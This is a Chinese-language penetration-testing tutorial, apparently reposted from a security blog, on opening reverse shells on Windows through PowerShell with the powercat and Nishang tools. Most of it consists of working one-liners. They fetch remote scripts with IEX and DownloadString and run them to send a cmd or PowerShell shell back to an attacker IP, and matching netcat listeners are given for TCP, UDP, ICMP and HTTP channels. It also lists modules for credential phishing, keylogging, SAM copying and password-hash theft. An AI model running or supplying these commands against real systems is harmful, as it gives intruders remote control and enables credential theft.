[Shell]Powershell反彈shell


原作者:Cream
文章出處: 貝塔安全實驗室

0x01 Powershell反彈shell

Windows PowerShell 是一種命令行外殼程序和腳本環境,使命令行用戶和腳本編寫者可以利用 .NET Framework的強大功能。它引入了許多非常有用的新概念,從而進一步擴展了您在 Windows 命令提示符和 Windows Script Host 環境中獲得的知識和創建的腳本。

一旦攻擊者可以在一台計算機上運行代碼,他們便可以下載powershell腳本文件(.ps1)到磁盤執行,腳本可以在內存中運行(無文件化)。我們可以將powershell看做是命令提示符cmd.exe的擴展。

各個系統中Powershell的版本如下:

可以在輸入Get-Host或者$PSVersionTable.PSVERSION來查看版本信息,如下所示:

2.1 powercat反彈shell

powercathttps://github.com/besimorhino/powercat為Powershell版的Netcat,實際上是一個powershell的函數,使用方法類似Netcat。

攻擊者監聽:

nc –lvnp 9999 

目標機反彈CMD:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd

攻擊機收到目標機的回彈:

若攻擊機沒有nc的話,可以先下載一個powercat,之后再進行監聽:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -l -p 9999

攻擊機收到目標機的回彈:

2.2 nishang反彈shell

Nishanghttps://github.com/samratashok/nishang是一個基於PowerShell的攻擊框架,集合了一些PowerShell攻擊腳本和有效載荷,可反彈TCP/ UDP/ HTTP/HTTPS/ ICMP等類型shell。

Nishang要在PowerShell3.0以上的環境下才可以正常使用,在window 7或者server2008上可能會出現一些異常。

導入Nishang模塊
Import-Module .\nishang.psm1
導入成功后,產看Nishang中模塊
Get-Command –Module nishang

Nishang攻擊模塊有(只介紹部分):

Check-VM:檢測目標機器是否為虛擬機

Invoke-CredentialsPhish:欺騙目標主機用戶,用作釣魚

Copy-VSS:利用Volume Shaodow Copy復制sam文件

FireBuster FireLiStener:用作內網環境掃描

Keylogger:用作鍵盤記錄

Invoke-Mimikatz:類似Mimikatz,直接獲取系統賬號明文密碼

Get-PassHashes:獲取系統密碼hash值
2.2.1 基於TCP的Powershell交互式shell

在目標機上執行如下的代碼:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999
其中,Invoke-PowerShellTcp是基於TCP協議的Powershell正向連接或者反向連接shell,其參數如下:
- IPAddress 反向連接時設置的IP
- Port 正向連接時設置的端口,前面要寫上-Bind參數
- Reverse  反向連接
- Bind 正向連接

反向連接:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.4 -port 9999

2.2.2 基於UDP的Powershell交互式shell
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.1.4 -port 5399

在攻擊者的電腦上執行如下的命令:

nc -lup 6005 

上述測試是反向連接,那么正向連接的時候,在攻擊者的電腦上運行的命令為:

nc -nvu 192.168.1.24 4555

2.2.3 基於ICMP的Poershell交互式Shell

需要借助於icmpsh_m.py文件,其用法如下:

./icmpsh-m.py <source IP address> <destination IP address>

在被攻擊的機器上執行:

Invoke-PowerShellIcmp -IPAddress <source IP address>
2.2.4 基於HTTP/HTTPS的Poershell交互式Shell
HTTP: Invoke-PoshRatHttp –IPAddess 192.168.1.4 –Port 4444
HTTPS: Invoke-PoshRatHttps  –IPAddess 192.168.1.4 –Port 4444
然后會生成一個powershell如下的命令····IEX  ((New-Object Net.WebClient).DownloadString(‘http://192.168.1.4:4444/connect’))
然后復制該命令在被攻擊機器上執行即可,便可看到反彈的shell

0x02 參考鏈接

反彈shell的學習總結


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM